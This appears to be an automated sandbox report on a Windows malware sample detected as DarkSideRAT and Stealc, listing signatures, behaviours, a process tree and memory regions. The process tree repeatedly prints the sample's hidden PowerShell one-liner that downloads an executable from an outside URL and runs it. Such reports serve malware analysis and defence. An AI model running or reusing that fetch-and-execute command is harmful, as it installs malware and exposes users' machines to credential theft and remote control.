Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
29/09/2026, 15:37
General
- Target 2026-09-29_d8aa3ab77381a17befa120022ed5c155_glassworm_icedid_luca-stealer_njrat_stealc.exe
- Size 3.7MB
- Sample260929-s2y2tsvbqf
- SHA256 39deb0c36dc98f9dba598899e844813b278b2594ae9fd5e4062a5c13c59dede8
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Family: Stealc
Stealc is an infostealer written in C++.
- Detects DarkSideRAT 1 IoCs
- Detects Stealc stealer Version 3 1 IoCs
- Detects executables referencing many IR and analysis tools 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-09-29_d8aa3ab77381a17befa120022ed5c155_glassworm_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-29_d8aa3ab77381a17befa120022ed5c155_glassworm_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Downloads MZ/PE file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK457603.exe; Start-Process -FilePath $env:TEMP\BK457603.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK457603.exe; Start-Process -FilePath $env:TEMP\BK457603.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK457603.exe; Start-Process -FilePath $env:TEMP\BK457603.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe/c start C:\Users\Admin\AppData\Local\Temp\ox_1790696282608.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\ox_1790696282608.exeC:\Users\Admin\AppData\Local\Temp\ox_1790696282608.exe3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\dllhost.exe"C:\Windows\System32\dllhost.exe"4⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
103621DE9CD5414CC2538780B4B75751
103621DE9CD5414CC2538780B4B75751
ox_1790696282608.exe
memory/716-68-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-73-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-81-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-70-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-71-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-75-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-76-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-78-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-79-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-74-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-80-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-62-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-67-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-69-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-72-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-61-0x000001CAECDB0000-0x000001CAECDB1000-memory.dmp
memory/716-60-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/716-77-0x000001CAEC6F0000-0x000001CAECDB0000-memory.dmp
memory/2008-54-0x0000000180000000-0x0000000180022000-memory.dmp
memory/2232-25-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-15-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-1-0x00007FFF40EBF000-0x00007FFF40EC0000-memory.dmp
memory/2232-3-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-6-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-29-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-2-0x00000267A3E00000-0x00000267A3E22000-memory.dmp
memory/2232-9-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-20-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-19-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-10-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/2232-14-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp
memory/3872-59-0x0000000140000000-0x00000001403AE000-memory.dmp
memory/3872-0-0x0000000140000000-0x00000001403AE000-memory.dmp